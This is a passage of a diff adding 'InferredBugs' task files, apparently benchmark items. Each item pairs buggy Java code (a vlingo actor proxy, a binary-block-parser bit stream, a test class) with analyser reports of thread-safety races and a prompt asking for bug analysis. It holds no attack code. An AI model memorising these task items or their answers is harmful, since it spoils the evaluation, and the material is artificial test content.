+      final Class<T> proxyClass = proxyCompiler.compile(input);
+      return tryCreateWithProxyClass(proxyClass, actor, mailbox);
+    } catch (Exception e) {
+      throw new IllegalArgumentException("Actor proxy " + protocol.getName() + " not created because: " + e.getMessage(), e);
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `io.vlingo.actors.ActorProxy.createFor` indirectly writes to field `n$20.io.vlingo.actors.World.classLoader` outside of synchronization.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Object ActorProxy.createFor(Class,Actor,Mailbox)
+
+### Procedure Id:
+io.vlingo.actors.ActorProxy.createFor(java.lang.Class,io.vlingo.actors.Actor,io.vlingo.actors.Mailbo.72a0db559ac2b8ae8a1e2a354377659b
+
+### File:
+src/main/java/io/vlingo/actors/ActorProxy.java
+
+### Key:
+ActorProxy.java|createFor|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+2381ee392545d532fb91086b2f047701
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9071/instruction.md b/inferredbugs-9071/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..80e6c83d5a7f78f7ef7601d3dea61b203ec002af
--- /dev/null
+++ b/inferredbugs-9071/instruction.md
@@ -0,0 +1,856 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** java-binary-block-parser
+**Bug ID:** 50
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/* 
+ * Copyright 2014 Igor Maznitsa (http://www.igormaznitsa.com).
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.igormaznitsa.jbbp.io;
+
+import com.igormaznitsa.jbbp.utils.JBBPSystemProperty;
+import com.igormaznitsa.jbbp.utils.JBBPUtils;
+import java.io.*;
+
+/**
+ * A Filter stream implementing a countable bit stream interface. It allows read
+ * not only bytes but also bits from an input stream. The Class is not a
+ * thread-safe one.
+ *
+ * @since 1.0
+ */
+public class JBBPBitInputStream extends FilterInputStream implements JBBPCountableBitStream {
+
+  /**
+   * The Initial an Array buffer size for whole stream read.
+   */
+  protected static final int INITIAL_ARRAY_BUFFER_SIZE = JBBPSystemProperty.PROPERTY_INPUT_INITIAL_ARRAY_BUFFER_SIZE.getAsInteger(32);
+
+  /**
+   * The Inside bit buffer,
+   */
+  private int bitBuffer;
+  /**
+   * The Inside counter of bits in the bit buffer.
+   */
+  private int bitsInBuffer;
+  /**
+   * The Byte counter.
+   */
+  private long byteCounter;
+
+  /**
+   * Inside temp variable to keep the bit buffer temporarily.
+   */
+  private int markedBitBuffer;
+  /**
+   * Inside temp variable to keep the bit buffer counter temporarily.
+   */
+  private int markedBitsInBuffer;
+  /**
+   * Inside temp variable to keep the byte counter temporarily.
+   */
+  private long markedByteCounter;
+
+  /**
+   * Flag shows that bit operations must be processed for MSB0 (most significant
+   * bit 0) mode.
+   */
+  private final boolean msb0;
+
+  /**
+   * A Constructor, the LSB0 bit order will be used by default.
+   *
+   * @param in an input stream to be filtered.
+   */
+  public JBBPBitInputStream(final InputStream in) {
+    this(in, JBBPBitOrder.LSB0);
+  }
+
+  /**
+   * A Constructor.
+   *
+   * @param in an input stream to be filtered.
+   * @param order a bit order mode for the filter.
+   * @see JBBPBitOrder#LSB0
+   * @see JBBPBitOrder#MSB0
+   */
+  public JBBPBitInputStream(final InputStream in, final JBBPBitOrder order) {
+    super(in);
+    this.bitsInBuffer = 0;
+    this.msb0 = order == JBBPBitOrder.MSB0;
+  }
+
+  /**
+   * Read array of boolean values.
+   *
+   * @param items number of items to be read, if less than zero then read whole
+   * stream till the end
+   * @return read values as boolean array
+   * @throws IOException it will be thrown for transport error
+   */
+  public boolean[] readBoolArray(final int items) throws IOException {
+    int pos = 0;
+    byte[] buffer;
+    if (items < 0) {
+      buffer = new byte[INITIAL_ARRAY_BUFFER_SIZE];
+      // till end
+      while (true) {
+        final int read = this.read(buffer, pos, buffer.length - pos);
+        if (read < 0) {
+          break;
+        }
+        pos += read;
+
+        if (buffer.length == pos) {
+          final byte[] newbuffer = new byte[buffer.length << 1];
+          System.arraycopy(buffer, 0, newbuffer, 0, buffer.length);
+          buffer = newbuffer;
+        }
+      }
+    }
+    else {
+      // number
+      buffer = new byte[items];
+      int len = items;
+      while (len > 0) {
+        final int read = this.read(buffer, pos, len);
+        if (read < 0) {
+          throw new EOFException("Have read only " + pos + " bit portions instead of " + items);
+        }
+        pos += read;
+        len -= read;
+      }
+    }
+
+    final boolean[] result = new boolean[pos];
+    for (int i = 0; i < pos; i++) {
+      result[i] = buffer[i] != 0;
+    }
+    return result;
+  }
+
+  /**
+   * Read array of bit sequence.
+   *
+   * @param bitNumber bit number for each bit sequence item, must be 1..8
+   * @param items number of items to be read, if less than zero then read whole
+   * stream till the end
+   * @return array of read bit items as a byte array
+   * @throws IOException it will be thrown for any transport problem during the
+   * operation
+   */
+  public byte[] readBitsArray(final int items, final JBBPBitNumber bitNumber) throws IOException {
+    int pos = 0;
+    if (items < 0) {
+      byte[] buffer = new byte[INITIAL_ARRAY_BUFFER_SIZE];
+      // till end
+      while (true) {
+        final int next = readBits(bitNumber);
+        if (next < 0) {
+          break;
+        }
+        if (buffer.length == pos) {
+          final byte[] newbuffer = new byte[buffer.length << 1];
+          System.arraycopy(buffer, 0, newbuffer, 0, buffer.length);
+          buffer = newbuffer;
+        }
+        buffer[pos++] = (byte) next;
+      }
+      if (buffer.length == pos) {
+        return buffer;
+      }
+      final byte[] result = new byte[pos];
+      System.arraycopy(buffer, 0, result, 0, pos);
+      return result;
+    }
+    else {
+      // number
+      final byte[] buffer = new byte[items];
+      for (int i = 0; i < items; i++) {
+        final int next = readBits(bitNumber);
+        if (next < 0) {
+          throw new EOFException("Have read only " + i + " bit portions instead of " + items);
+        }
+        buffer[i] = (byte) next;
+      }
+      return buffer;
+    }
+  }
+
+  /**
+   * Read number of bytes for the stream.
+   *
+   * @param items number of items to be read, if less than zero then read whole
+   * stream till the end
+   * @return read byte items as a byte array
+   * @throws IOException it will be thrown for any transport problem during the
+   * operation
+   */
+  public byte[] readByteArray(final int items) throws IOException {
+    int pos = 0;
+    if (items < 0) {
+      byte[] buffer = new byte[INITIAL_ARRAY_BUFFER_SIZE];
+      // till end
+      while (true) {
+        final int next = read();
+        if (next < 0) {
+          break;
+        }
+        if (buffer.length == pos) {
+          final byte[] newbuffer = new byte[buffer.length << 1];
+          System.arraycopy(buffer, 0, newbuffer, 0, buffer.length);
+          buffer = newbuffer;
+        }
+        buffer[pos++] = (byte) next;
+      }
+      if (buffer.length == pos) {
+        return buffer;
+      }
+      final byte[] result = new byte[pos];
+      System.arraycopy(buffer, 0, result, 0, pos);
+      return result;
+    }
+    else {
+      // number
+      final byte[] buffer = new byte[items];
+      final int read = this.read(buffer, 0, items);
+      if (read != items) {
+        throw new EOFException("Have read only " + read + " byte(s) instead of " + items + " byte(s)");
+      }
+      return buffer;
+    }
+  }
+
+  /**
+   * Read number of short items from the input stream.
+   *
+   * @param items number of items to be read from the input stream, if less than
+   * zero then all stream till the end will be read
+   * @param byteOrder the order of bytes to be used to decode short values
+   * @return read items as a short array
+   * @throws IOException it will be thrown for any transport problem during the
+   * operation
+   * @see JBBPByteOrder#BIG_ENDIAN
+   * @see JBBPByteOrder#LITTLE_ENDIAN
+   */
+  public short[] readShortArray(final int items, final JBBPByteOrder byteOrder) throws IOException {
+    int pos = 0;
+    if (items < 0) {
+      short[] buffer = new short[INITIAL_ARRAY_BUFFER_SIZE];
+      // till end
+      while (hasAvailableData()) {
+        final int next = readUnsignedShort(byteOrder);
+        if (buffer.length == pos) {
+          final short[] newbuffer = new short[buffer.length << 1];
+          System.arraycopy(buffer, 0, newbuffer, 0, buffer.length);
+          buffer = newbuffer;
+        }
+        buffer[pos++] = (short) next;
+      }
+      if (buffer.length == pos) {
+        return buffer;
+      }
+      final short[] result = new short[pos];
+      System.arraycopy(buffer, 0, result, 0, pos);
+      return result;
+    }
+    else {
+      // number
+      final short[] buffer = new short[items];
+      for (int i = 0; i < items; i++) {
+        buffer[i] = (short) readUnsignedShort(byteOrder);
+      }
+      return buffer;
+    }
+  }
+
+  /**
+   * Read number of integer items from the input stream.
+   *
+   * @param items number of items to be read from the input stream, if less than
+   * zero then all stream till the end will be read
+   * @param byteOrder the order of bytes to be used to decode values
+   * @return read items as an integer array
+   * @throws IOException it will be thrown for any transport problem during the
+   * operation
+   * @see JBBPByteOrder#BIG_ENDIAN
+   * @see JBBPByteOrder#LITTLE_ENDIAN
+   */
+  public int[] readIntArray(final int items, final JBBPByteOrder byteOrder) throws IOException {
+    int pos = 0;
+    if (items < 0) {
+      int[] buffer = new int[INITIAL_ARRAY_BUFFER_SIZE];
+      // till end
+      while (hasAvailableData()) {
+        final long next = readInt(byteOrder);
+        if (buffer.length == pos) {
+          final int[] newbuffer = new int[buffer.length << 1];
+          System.arraycopy(buffer, 0, newbuffer, 0, buffer.length);
+          buffer = newbuffer;
+        }
+        buffer[pos++] = (int) next;
+      }
+      if (buffer.length == pos) {
+        return buffer;
+      }
+      final int[] result = new int[pos];
+      System.arraycopy(buffer, 0, result, 0, pos);
+      return result;
+    }
+    else {
+      // number
+      final int[] buffer = new int[items];
+      for (int i = 0; i < items; i++) {
+        buffer[i] = readInt(byteOrder);
+      }
+      return buffer;
+    }
+  }
+
+  /**
+   * Read number of long items from the input stream.
+   *
+   * @param items number of items to be read from the input stream, if less than
+   * zero then all stream till the end will be read
+   * @param byteOrder the order of bytes to be used to decode values
+   * @return read items as a long array
+   * @throws IOException it will be thrown for any transport problem during the
+   * operation
+   * @see JBBPByteOrder#BIG_ENDIAN
+   * @see JBBPByteOrder#LITTLE_ENDIAN
+   */
+  public long[] readLongArray(final int items, final JBBPByteOrder byteOrder) throws IOException {
+    int pos = 0;
+    if (items < 0) {
+      long[] buffer = new long[INITIAL_ARRAY_BUFFER_SIZE];
+      // till end
+      while (hasAvailableData()) {
+        final long next = readLong(byteOrder);
+        if (buffer.length == pos) {
+          final long[] newbuffer = new long[buffer.length << 1];
+          System.arraycopy(buffer, 0, newbuffer, 0, buffer.length);
+          buffer = newbuffer;
+        }
+        buffer[pos++] = next;
+      }
+      if (buffer.length == pos) {
+        return buffer;
+      }
+      final long[] result = new long[pos];
+      System.arraycopy(buffer, 0, result, 0, pos);
+      return result;
+    }
+    else {
+      // number
+      final long[] buffer = new long[items];
+      for (int i = 0; i < items; i++) {
+        buffer[i] = readLong(byteOrder);
+      }
+      return buffer;
+    }
+  }
+
+  /**
+   * Read a unsigned short value from the stream.
+   *
+   * @param byteOrder he order of bytes to be used to decode the read value
+   * @return the unsigned short value read from stream
+   * @throws IOException it will be thrown for any transport problem during the
+   * operation
+   * @throws EOFException if the end of the stream has been reached
+   * @see JBBPByteOrder#BIG_ENDIAN
+   * @see JBBPByteOrder#LITTLE_ENDIAN
+   */
+  public int readUnsignedShort(final JBBPByteOrder byteOrder) throws IOException {
+    final int b0 = this.read();
+    if (b0 < 0) {
+      throw new EOFException();
+    }
+    final int b1 = this.read();
+    if (b1 < 0) {
+      throw new EOFException();
+    }
+    return byteOrder == JBBPByteOrder.BIG_ENDIAN ? (b0 << 8) | b1 : (b1 << 8) | b0;
+  }
+
+  /**
+   * Read an integer value from the stream.
+   *
+   * @param byteOrder he order of bytes to be used to decode the read value
+   * @return the unsigned short value read from stream or -1 if the end of
+   * stream has been reached
+   * @throws IOException it will be thrown for any transport problem during the
+   * operation
+   * @throws EOFException if the end of the stream has been reached
+   * @see JBBPByteOrder#BIG_ENDIAN
+   * @see JBBPByteOrder#LITTLE_ENDIAN
+   */
+  public int readInt(final JBBPByteOrder byteOrder) throws IOException {
+    if (byteOrder == JBBPByteOrder.BIG_ENDIAN) {
+      return (readUnsignedShort(byteOrder) << 16) | readUnsignedShort(byteOrder);
+    }
+    else {
+      return readUnsignedShort(byteOrder) | (readUnsignedShort(byteOrder) << 16);
+    }
+  }
+
+  /**
+   * Read a long value from the stream.
+   *
+   * @param byteOrder he order of bytes to be used to decode the read value
+   * @return the unsigned short value read from stream or -1 if the end of
+   * stream has been reached
+   * @throws IOException it will be thrown for any transport problem during the
+   * operation
+   * @throws EOFException if the end of the stream has been reached
+   * @see JBBPByteOrder#BIG_ENDIAN
+   * @see JBBPByteOrder#LITTLE_ENDIAN
+   */
+  public long readLong(final JBBPByteOrder byteOrder) throws IOException {
+    if (byteOrder == JBBPByteOrder.BIG_ENDIAN) {
+      return (((long) readInt(byteOrder) & 0xFFFFFFFFL) << 32) | ((long) readInt(byteOrder) & 0xFFFFFFFFL);
+    }
+    else {
+      return ((long) readInt(byteOrder) & 0xFFFFFFFFL) | (((long) readInt(byteOrder) & 0xFFFFFFFFL) << 32);
+    }
+  }
+
+  /**
+   * Get the current fully read byte counter.
+   *
+   * @return the number of bytes read fully from the stream
+   */
+  public long getCounter() {
+    return this.byteCounter;
+  }
+
+  /**
+   * Get the value of the inside bit buffer
+   *
+   * @return the bit buffer state
+   */
+  public int getBitBuffer() {
+    return this.bitBuffer;
+  }
+
+  /**
+   * Get the number of buffered bits in the inside bit buffer
+   *
+   * @return the number of buffered bits in the bit buffer
+   */
+  public int getBufferedBitsNumber() {
+    return this.bitsInBuffer;
+  }
+
+  /**
+   * Get the bit order option for read operations.
+   *
+   * @return the bit order parameter
+   * @see JBBPBitOrder#LSB0
+   * @see JBBPBitOrder#MSB0
+   */
+  public JBBPBitOrder getBitOrder() {
+    return this.msb0 ? JBBPBitOrder.MSB0 : JBBPBitOrder.LSB0;
+  }
+
+  /**
+   * Read number of bits from the input stream. It reads bits from input stream
+   * since 0 bit and make reversion to return bits in the right order when 0 bit
+   * is 0 bit. if the stream is completed early than the data read then reading
+   * is just stopped and read value returned. The First read bit is placed as
+   * 0th bit.
+   *
+   * @param numOfBitsToRead the number of bits to be read, must be 1..8
+   * @return the read bits as integer, -1 if the end of stream has been reached
+   * @throws IOException it will be thrown for transport errors to be read
+   * @throws NullPointerException if number of bits to be read is null
+   */
+  public int readBits(final JBBPBitNumber numOfBitsToRead) throws IOException {
+    int result;
+
+    final int numOfBitsAsNumber = numOfBitsToRead.getBitNumber();
+
+    if (this.bitsInBuffer == 0 && numOfBitsAsNumber == 8) {
+      result = this.readByteFromStream();
+      if (result >= 0) {
+        this.byteCounter++;
+      }
+      return result;
+    }
+    else {
+      result = 0;
+
+      if (numOfBitsAsNumber == this.bitsInBuffer) {
+        result = this.bitBuffer;
+        this.bitBuffer = 0;
+        this.bitsInBuffer = 0;
+        this.byteCounter++;
+        return result;
+      }
+
+      int i = numOfBitsAsNumber;
+      int theBitBuffer = this.bitBuffer;
+      int theBitBufferCounter = this.bitsInBuffer;
+
+      final boolean doIncCounter = theBitBufferCounter!=0;
+      
+      while (i > 0) {
+        if (theBitBufferCounter == 0) {
+          if (doIncCounter) this.byteCounter++;
+          final int nextByte = this.readByteFromStream();
+          if (nextByte < 0) {
+            if (i == numOfBitsAsNumber) {
+              return nextByte;
+            }
+            else {
+              break;
+            }
+          }
+          else {
+            theBitBuffer = nextByte;
+            theBitBufferCounter = 8;
+          }
+        }
+
+        result = (result << 1) | (theBitBuffer & 1);
+        theBitBuffer >>= 1;
+        theBitBufferCounter--;
+        i--;
+      }
+
+      this.bitBuffer = theBitBuffer;
+      this.bitsInBuffer = theBitBufferCounter;
+      
+      return JBBPUtils.reverseBitsInByte(JBBPBitNumber.decode(numOfBitsAsNumber - i), (byte) result) & 0xFF;
+    }
+  }
+
+  /**
+   * Read a boolean value saved as a byte.
+   *
+   * @return true if the value is not zero, false if the value is zero
+   * @throws IOException it will be thrown for transport errors.
+   */
+  public boolean readBoolean() throws IOException {
+    final int read = this.read();
+    if (read < 0) {
+      throw new EOFException("Can't read a boolean value");
+    }
+    return read != 0;
+  }
+
+  /**
+   * Read a byte value.
+   *
+   * @return the byte value read from the stream
+   * @throws IOException it will be thrown for transport errors.
+   */
+  public int readByte() throws IOException {
+    final int read = this.read();
+    if (read < 0) {
+      throw new EOFException("Can't read a byte value");
+    }
+    return read;
+  }
+
+  @Override
+  public boolean markSupported() {
+    return super.markSupported();
+  }
+
+  @Override
+  public synchronized void reset() throws IOException {
+    in.reset();
+    this.bitBuffer = this.markedBitBuffer;
+    this.byteCounter = this.markedByteCounter;
+    this.bitsInBuffer = this.markedBitsInBuffer;
+  }
+
+  @Override
+  public synchronized void mark(final int readlimit) {
+    in.mark(readlimit);
+    this.markedBitBuffer = this.bitBuffer;
+    this.markedByteCounter = this.byteCounter;
+    this.markedBitsInBuffer = this.bitsInBuffer;
+  }
+
+  @Override
+  public int available() throws IOException {
+    return super.available();
+  }
+
+  /**
+   * Read padding bytes from the stream and ignore them to align the stream
+   * counter.
+   *
+   * @param alignByteNumber the byte number to align the stream
+   * @throws IOException it will be thrown for transport errors
+   * @throws EOFException it will be thrown if the stream end has been reached
+   * the before align border.
+   */
+  public void align(final long alignByteNumber) throws IOException {
+    this.alignByte();
+
+    if (alignByteNumber > 0) {
+      long padding = (alignByteNumber - (this.byteCounter % alignByteNumber)) % alignByteNumber;
+
+      while (padding > 0) {
+        final int skippedByte = this.read();
+        if (skippedByte < 0) {
+          throw new EOFException("Can't align for " + alignByteNumber + " byte(s)");
+        }
+        padding--;
+      }
+    }
+
+  }
+
+  @Override
+  public long skip(final long numOfBytes) throws IOException {
+    if (this.bitsInBuffer == 0) {
+      final long r = in.skip(numOfBytes);
+      this.byteCounter += (int) r;
+      return r;
+    }
+    else {
+      long i = numOfBytes;
+      long count = 0L;
+      while (i > 0) {
+        final int nxt = readBits(JBBPBitNumber.BITS_8);
+        if (nxt < 0) {
+          break;
+        }
+        count++;
+        i--;
+      }
+      return count;
+    }
+  }
+
+  /**
+   * Inside method to read a byte from stream.
+   *
+   * @return the read byte or -1 if the end of the stream has been reached
+   * @throws IOException it will be thrown for transport errors
+   */
+  private int readByteFromStream() throws IOException {
+    int result = this.in.read();
+    if (result >= 0) {
+      if (this.msb0) {
+        result = JBBPUtils.reverseBitsInByte((byte) result) & 0xFF;
+      }
+    }
+    return result;
+  }
+
+  /**
+   * Read the next stream byte into bit buffer.
+   *
+   * @return the read byte or -1 if the endo of stream has been reached.
+   * @throws IOException it will be thrown for transport errors
+   */
+  private int loadNextByteInBuffer() throws IOException {
+    final int value = this.readByteFromStream();
+    if (value < 0) {
+      return value;
+    }
+
+    this.bitBuffer = value;
+    this.bitsInBuffer = 8;
+
+    return value;
+  }
+
+  /**
+   * Align read byte. If there are unread bits in inside bit buffer, it will be
+   * aligned to read the next byte from stream instead of reading from the bit
+   * buffer.
+   */
+  public void alignByte() {
+    if (this.bitsInBuffer > 0 && this.bitsInBuffer < 8) {
+      this.byteCounter++;
+      this.bitsInBuffer = 0;
+    }
+  }
+
+  /**
+   * Check that there is available data to read from stream. NB: It will read
+   * one byte from the stream and will save it into inside bit buffer.
+   *
+   * @return true if there is data to be read
+   * @throws IOException it will be thrown for transport errors
+   */
+  public boolean hasAvailableData() throws IOException {
+    if (this.bitsInBuffer > 0) {
+      return true;
+    }
+    return loadNextByteInBuffer() >= 0;
+  }
+
+  @Override
+  public int read(final byte[] array, final int offset, final int length) throws IOException {
+    if (this.bitsInBuffer == 0) {
+      int readBytes = 0;
+      int tmpoffset = offset;
+      int tmplen = length;
+      while (tmplen > 0) {
+        int read = this.in.read(array, tmpoffset, tmplen);
+        if (read < 0) {
+          readBytes = readBytes == 0 ? read : readBytes;
+          break;
+        }
+        tmplen -= read;
+        tmpoffset += read;
+        readBytes += read;
+        this.byteCounter += read;
+      }
+
+      if (this.msb0) {
+        int index = offset;
+        int number = readBytes;
+        while (number > 0) {
+          array[index] = JBBPUtils.reverseBitsInByte(array[index]);
+          index++;
+          number--;
+        }
+      }
+
+      return readBytes;
+    }
+    else {
+      int count = length;
+      int i = offset;
+      while (count > 0) {
+        final int nextByte = this.readBits(JBBPBitNumber.BITS_8);
+        if (nextByte < 0) {
+          break;
+        }
+        count--;
+        array[i++] = (byte) nextByte;
+      }
+      return length - count;
+    }
+  }
+
+  /**
+   * Reset the byte counter for the stream. The Inside bit buffer will be reset
+   * also if it is not full.
+   *
+   * @see #align(long)
+   * @see #alignByte()
+   * @see #getBitBuffer()
+   * @see #getBufferedBitsNumber()
+   * @see #hasAvailableData() .
+   */
+  public void resetCounter() {
+    if (this.bitsInBuffer < 8) {
+      this.bitsInBuffer = 0;
+      this.bitBuffer = 0;
+    }
+    this.byteCounter = 0L;
+  }
+
+  @Override
+  public int read(final byte[] array) throws IOException {
+    return this.read(array, 0, array.length);
+  }
+
+  @Override
+  public int read() throws IOException {
+    final int result;
+    if (this.bitsInBuffer == 0) {
+      result = this.readByteFromStream();
+      if (result >= 0) {
+        this.byteCounter++;
+      }
+      return result;
+    }
+    else {
+      return this.readBits(JBBPBitNumber.BITS_8);
+    }
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.igormaznitsa.jbbp.io.JBBPBitInputStream.readByteArray` indirectly reads without synchronization from `this.com.igormaznitsa.jbbp.io.JBBPBitInputStream.bitBuffer`. Potentially races with write in method `JBBPBitInputStream.reset()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+byte[] JBBPBitInputStream.readByteArray(int)
+
+### Procedure Id:
+com.igormaznitsa.jbbp.io.JBBPBitInputStream.readByteArray(int):byte[].9905c343d985338a2ebb240cb4121f4b
+
+### File:
+src/main/java/com/igormaznitsa/jbbp/io/JBBPBitInputStream.java
+
+### Key:
+JBBPBitInputStream.java|readByteArray|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+07208325277e5da830a9c2b74619306b
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9076/instruction.md b/inferredbugs-9076/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ff5cc953262d0e8602a2de3a0a3de8a119ab9522
--- /dev/null
+++ b/inferredbugs-9076/instruction.md
@@ -0,0 +1,494 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** java-binary-block-parser
+**Bug ID:** 33
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/* 
+ * Copyright 2014 Igor Maznitsa (http://www.igormaznitsa.com).
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.igormaznitsa.jbbp.io;
+
+import static com.igormaznitsa.jbbp.io.JBBPOut.*;
+import java.io.*;
+import static org.junit.Assert.*;
+import org.junit.Test;
+
+public class JBBPOutTest {
+
+  @Test
+  public void testBinStart() throws Exception {
+    assertArrayEquals(new byte[]{1},binStart().Byte(1).end().toByteArray());
+    assertArrayEquals(new byte[]{0x02,0x01},binStart(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102).end().toByteArray());
+    assertArrayEquals(new byte[]{0x40,(byte)0x80},binStart(JBBPByteOrder.LITTLE_ENDIAN,JBBPBitOrder.MSB0).Short(0x0102).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte)0x80},binStart(JBBPBitOrder.MSB0).Byte(1).end().toByteArray());
+  
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    assertSame(buffer, binStart(buffer).end());
+  }
+  
+  @Test
+  public void testAlign() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align().Byte(0xFF).end().toByteArray());
+  }
+
+  @Test
+  public void testAlignWithArgument() throws Exception {
+    assertEquals(0, new JBBPOut(new ByteArrayOutputStream()).Align(2).end().toByteArray().length);
+    assertArrayEquals(new byte[]{(byte) 0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(1).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Align(3).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(1).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(2).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(4).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2).Align(4).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3).Align(5).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x04, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3, 4).Align(5).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x04, 0x05, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3, 4, 5).Align(5).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x01, 0x00, 0x02, 0x00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Align(2).Byte(1).Align(2).Byte(2).Align(2).Byte(3).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xF1, 0x00, (byte) 0x01, 0x00, 0x02, 0x00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Byte(0xF1).Align(2).Byte(1).Align(2).Byte(2).Align(2).Byte(3).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xF1, 0x00, 0x00, (byte) 0x01, 0x00, 00, 0x02, 0x00, 00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Byte(0xF1).Align(3).Byte(1).Align(3).Byte(2).Align(3).Byte(3).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 03, 0x04, 0x00, (byte)0xF1}, new JBBPOut(new ByteArrayOutputStream()).Int(0x01020304).Align(5).Byte(0xF1).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, 0x00, 0x00, 0x00, (byte)0xF1}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(5).Byte(0xF1).end().toByteArray());
+  }
+
+  @Test
+  public void testEmptyArray() throws Exception {
+    assertEquals(0, new JBBPOut(new ByteArrayOutputStream()).end().toByteArray().length);
+  }
+
+  @Test
+  public void testByte() throws Exception {
+    assertArrayEquals(new byte[]{-34}, binStart().Byte(-34).end().toByteArray());
+  }
+
+  @Test
+  public void testByteArrayAsInts() throws Exception {
+    assertArrayEquals(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}, binStart().Byte(1, 3, 0, 2, 4, 1, 3, 7).end().toByteArray());
+  }
+
+  @Test
+  public void testByteArrayAsByteArray() throws Exception {
+    assertArrayEquals(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}, binStart().Byte(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}).end().toByteArray());
+  }
+
